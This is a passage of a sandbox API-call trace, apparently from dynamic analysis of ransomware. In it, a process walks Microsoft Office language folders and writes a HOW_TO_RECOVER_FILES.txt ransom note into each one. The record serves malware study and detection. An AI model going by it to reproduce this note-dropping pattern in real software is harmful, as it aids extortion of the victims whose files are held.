ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.762] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0126.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0126.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us", lpFilePart=0x0) returned 0x32 [0126.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x981606a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x981606a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2446a, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmui.msi.16_accessmui.mcxml", cAlternateFileName="ACCESS~2.MCX")) returned 1 [0126.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmuiset.msi.16_accessmuiset.mcxml", cAlternateFileName="ACCESS~1.MCX")) returned 1 [0126.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e134, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.mcxml", cAlternateFileName="BRANDI~1.MCX")) returned 1 [0126.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xabb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcfmui.msi.16_dcfmui.mcxml", cAlternateFileName="DCFMUI~1.MCX")) returned 1 [0126.764] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x981606a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19f30, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelmui.msi.16_excelmui.mcxml", cAlternateFileName="EXCELM~1.MCX")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x653c, dwReserved0=0x0, dwReserved1=0x0, cFileName="groovemui.msi.16_groovemui.mcxml", cAlternateFileName="GROOVE~1.MCX")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1249c, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncmui.msi.16_lyncmui.mcxml", cAlternateFileName="LYNCMU~1.MCX")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98ae9c2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98ae9c2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98fae45, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32mui.msi.16_office32mui.mcxml", cAlternateFileName="OFFICE~4.MCX")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16_AppXManifestLoc.mcxml", cAlternateFileName="OFFICE~3.MCX")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x659ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16_officemui.mcxml", cAlternateFileName="OFFICE~2.MCX")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16_PostCommon.Office.MUI.mcxml", cAlternateFileName="OFFICE~1.MCX")) returned 1 [0126.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f82, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemuiset.msi.16_officemuiset.mcxml", cAlternateFileName="OF42EC~1.MCX")) returned 1 [0126.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1233a, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenotemui.msi.16_onenotemui.mcxml", cAlternateFileName="ONENOT~1.MCX")) returned 1 [0126.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmmui.msi.16_osmmui.mcxml", cAlternateFileName="OSMMUI~1.MCX")) returned 1 [0126.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9862502, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9862502, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x940a, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmuxmui.msi.16_osmuxmui.mcxml", cAlternateFileName="OSMUXM~1.MCX")) returned 1 [0126.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x642ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlookmui.msi.16_outlookmui.mcxml", cAlternateFileName="OUTLOO~1.MCX")) returned 1 [0126.766] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpointmui.msi.16_powerpointmui.mcxml", cAlternateFileName="POWERP~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8c7ea5, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1a4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="projectmui.msi.16_projectmui.mcxml", cAlternateFileName="PROJEC~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11094, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98fae45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98fae45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f04, dwReserved0=0x0, dwReserved1=0x0, cFileName="proofing.msi.16_proofing.mcxml", cAlternateFileName="PROOFI~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ad0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="publishermui.msi.16_publishermui.mcxml", cAlternateFileName="PUBLIS~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x444fb18, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x444fb18, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x44e8517, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2061bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="visiomui.msi.16_visiomui.mcxml", cAlternateFileName="VISIOM~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16_wordmui.mcxml", cAlternateFileName="WORDMU~1.MCX")) returned 1 [0126.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16_wordmui.mcxml", cAlternateFileName="WORDMU~1.MCX")) returned 0 [0126.768] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0126.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0126.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0126.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0126.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0126.772] GetFileType (hFile=0x61c) returned 0x1 [0126.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0126.772] GetFileType (hFile=0x61c) returned 0x1 [0126.772] WriteFile (in: hFile=0x61c, lpBuffer=0x34153c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x34153c8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0126.774] CloseHandle (hObject=0x61c) returned 1 [0126.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es", lpFilePart=0x0) returned 0x32 [0126.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15392, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0126.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.775] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0126.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0126.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es", lpFilePart=0x0) returned 0x32 [0126.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15392, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0126.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15392, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 0 [0126.776] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0126.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0126.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0126.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0126.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0126.777] GetFileType (hFile=0x61c) returned 0x1 [0126.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0126.777] GetFileType (hFile=0x61c) returned 0x1 [0126.778] WriteFile (in: hFile=0x61c, lpBuffer=0x3426a10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3426a10*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0126.778] CloseHandle (hObject=0x61c) returned 1 [0126.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr", lpFilePart=0x0) returned 0x32 [0126.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, 